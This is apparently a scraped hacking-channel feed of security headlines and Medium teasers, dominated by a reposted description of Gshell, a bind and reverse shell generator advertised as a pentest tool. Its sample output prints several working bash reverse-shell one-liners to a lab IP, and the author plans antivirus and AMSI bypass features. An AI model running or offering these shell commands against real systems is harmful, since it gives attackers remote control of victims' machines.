Dark Reading: Attacks/Breaches
DDoS Subscription Service Operator Gets 2 Years in Prison

The distributed denial-as-a-service websites were behind more than 200K attacks on targets including schools and hospitals.

Dark Reading: Attacks/Breaches
Microsoft Patches 'Follina' Zero-Day Flaw in Monthly Security Update

Here are which Microsoft patches to prioritize among the June Patch Tuesday batch.

Dark Reading: Attacks/Breaches
In Case You Missed RSA Conference 2022: A News Digest

Here's a rundown of Dark Reading's reporting and commentary from and surrounding the first in-person RSA Conference since the pandemic began in 2020.

Dark Reading: Attacks/Breaches
Veterans Explain How Military Service Prepared Them for Cybersecurity Careers

The ability to handle intense pressure is just one of the skills that veterans bring to corporate cybersecurity work.

Hacking on Medium
Phishing a través de tunelización inversa y acortadores

https://cdn-images-1.medium.com/max/1584/0*IJ4qZyH3bXY2GcmP
PUBLICADO EN 9 JUNIO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Different Fronts of Automotive Cyber-Security

https://cdn-images-1.medium.com/max/1600/1*QHwo0MS4epB5gHT-T-2AQQ.jpeg
Introduction: What is Automotive Cyber-Security and Why is it Important?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Developer’s mistakes leads to full ATO!

https://cdn-images-1.medium.com/max/1920/1*pAyVJhsk1g-8YepC95POPw.png
A wise man once sad “In order to get high quality bugs, start playing with the website’s functionalities.”

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Let’s hack the planet with sparcFlow

https://cdn-images-1.medium.com/max/1384/1*bu-88FDAXv2OyDuVQl3OYA.png
Hi guys! I’m back with an amazing interview! This time with @sparcFlow, the author of “how to hack like a pornstar”, he actually has a…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Gshell - A Flexible And Scalable Cross-Plaform Shell Generator Tool

___________________________
@hacking_Attack
@Hacking_Video

Gshell - A Flexible And Scalable Cross-Plaform Shell Generator Tool
http://www.kitploit.com/2022/06/gshell-flexible-and-scalable-cross.html

___________________________
@hacking_Attack
@Hacking_Video

A simple yet flexible cross-platform shell generator (https://www.kitploit.com/search/label/Generator) tool. Name: G(Great) Shell Description: A cross-platform shell generator tool that lets you generate whichever shell you want, in any system you want, giving you full control and automation.If you find this tool helpful, then please give me a star as it tells me that I should add more features to it. Is cross-platform, you can use it in operating systems such as: Unix-based systems GNU/Linux Windows macOS Generates the following shells: Bind Shells: The target has a listening port and we connect to the target. Reverse Shells: We have a listening port and the target connects to us. Supports the following encodings (as of now): URL Encoding: Bypass URL filters Base64/32/16 Encodings: Bypass string/keyword filters PowerShell Base64 Encoding Supports the follow IP versions: IPv4 IPv6 Supported protocols: TCP UDP ICMP Note: You can add your own shells that use other protocols (https://www.kitploit.com/search/label/Protocols) such as DNS. Supports the following languages and tools: PowerShell Python Bash Sh Perl Socat Netcat Nc Awk Lua NodeJS OpenSSL PHP Ruby Telnet Golang C# Dart Groovy Many more... It is limitless, feel free to add as many as you desire! The shells are stored in markdown files as it makes it easy for everyone. You can add more bind shells by adding markdown code blocks the following file: shells/bind_shells.md You can also add more reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) by adding markdown code blocks the following file: shells/reverse_shells.md These can be one-liners and multi-liners, it doesn't matter. You can even add C# multi-liners code blocks if you want. Example, replace the IP address and the port placeholders or variables values with these placeholders in your code: $ip, $port That's it, now you can add more. Note: It also offers advice and tips for performing and troubleshooting (https://www.kitploit.com/search/label/Troubleshooting) attacks. Overview This is the help menu: ] [-p ] [-s ] [-r] [-b] [--base64] [--base32] [--base16] [--url] [--no-block] [--debug] [-l] [-a] [-h] ██████ ███████ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ███████ ███████ █████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ███████ ███████ ███████ Generate bind shells and/or reverse shells with style Version: 1.0 Author: nozerobit Twitter: @nozerobit Options: -i , --ip Specify the IP address -p , --port Specify the port number -s , --shell Specify a shell type (python, nc, bash, etc) Payload Types: -r, --reverse Victim communicates back to the attacking machine -b, --bind Open up a listener on the victim machine Encoding Options: --base64 Add base64 encoding --base32 Add base32 encoding --base16 Add base16 encoding --url Add URL encoding Markdown Options: --no-block Skip ``` code blocks ``` while parsing Help Options: -l, --list List the available shell types -a, --advice Print advice and tips to get connections -h, --help Show this help message and exit">❯ python3 gshell.py --help
usage: gshell.py [-i ] [-p ] [-s ] [-r] [-b]
[--base64] [--base32] [--base16] [--url] [--no-block] [--debug] [-l]
[-a] [-h]

██████ ███████ ██ ██ ███████ ██ ██
██ ██ ██ ██ ██ ██ ██
██ ███ ███████ ███████ █████ ██ ██

___________________________
@hacking_Attack
@Hacking_Video

██ ██ ██ ██ ██ ██ ██ ██
██████ ███████ ██ ██ ███████ ███████ ███████

Generate bind shells and/or reverse shells with style

Version: 1.0
Author: nozerobit
Twitter: @nozerobit

Options:
-i , --ip
Specify the IP address
-p , --port
Specify the port number
-s , --shell
Specify a shell type (python, nc, bash, etc)

Payload Types:
-r, --reverse Victim communicates back to the attacking machine
-b, --bind Open up a listener on the victim machine

Encoding Options:
--base64 Add base64 encoding
--base32 Add base32 encoding
--base16 Add base16 encoding
--url Add URL encoding

Markdown Options:
--no-block Skip ```
code
blocks
``` while parsing

Help Options:
-l, --list List the available shell types
-a, --advice Print advice and tips to get connections
-h, --help Show this help message and exit Example, generate bash reverse shells: & /dev/tcp/192.168.145.134/444 0>&1 0<&196;exec 196<>/dev/tcp/192.168.145.134/444; sh <&196 >&196 2>&196 /bin/bash -l > /dev/tcp/192.168.145.134/444 0<&1 2>&1 bash -i >& /dev/tcp/192.168.145.134/444 0>&1 bash -i >& /dev/udp/192.168.145.134/444 0>&1">❯ python3 gshell.py -i 192.168.145.134 -p 444 -r -s bash
[+] The IPv4 address: 192.168.145.134 is valid.
[+] The port number: 444 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells
bash -i >& /dev/tcp/192.168.145.134/444 0>&1

0<&196;exec 196<>/dev/tcp/192.168.145.134/444; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/192.168.145.134/444 0<&1 2>&1

bash -i >& /dev/tcp/192.168.145.134/444 0>&1

bash -i >& /dev/udp/192.168.145.134/444 0>&1 Installation in Linux Clone or download the repository: git clone https://github.com/nozerobit/gshell Install the requirements: python3 -m pip install -r gshell/requirements.txt Add the tool to the $PATH environment variable: sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod +x /usr/local/bin/gshell.py Execute the tool: gshell.py Installation in Windows Clone or download the repository: git clone https://github.com/nozerobit/gshell C:\\Tools Note: I created a directory (https://www.kitploit.com/search/label/Directory) named Tools in the C:\ root directory. You can create this directory with the command md C:\Tools. Install chocolatey with CMD as Administrator: @powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin Install python3 in Windows: choco install -y python3 Install pip: python -m pip install --upgrade pip Install the requirements: python -m pip install -r gshell/requirements.txt Note: You can change the directory if you want, just make sure that it contains the gshell project folder. Change to the project directory: cd C:\Tools Execute the tool: python gshell.py Contact & Contributing If you find any issues then you can open an issue, contact me on twitter (https://twitter.com/nozerobit) or discord (preferred) (https://discord.gg/jChyJgGs7Z). If you want to contribute then please feel free. Any feedback is appreciated. ToDo For the version 2.0 which should have the following: Encryptors: To bypass AVs Obfuscators: To bypass AVs Anti-AMSI: To bypass AMSI Shellcode Generator: For shellcode runners, binary explitation, etc.

Download Gshell (https://github.com/nozerobit/gshell)

___________________________
@hacking_Attack
@Hacking_Video

Developer’s mistakes leads to full ATO!

A wise man once sad “In order to get high quality bugs, start playing with the website’s functionalities.”Continue reading on Medium »
Read more...

hacking: security in practice
Compromised hardware

I'm not talking about how the CPU or something can be compromised by some type of government exploit. Can there be a separate device connected to the SSD or HDD inside a laptop or computer where it would save/write down everything you do (basically malware).

submitted by /u/PraiseTheKid
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Bypassing OTP verification
https://medium.com/@amoloht/bypassing-otp-verification-797851057e79?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video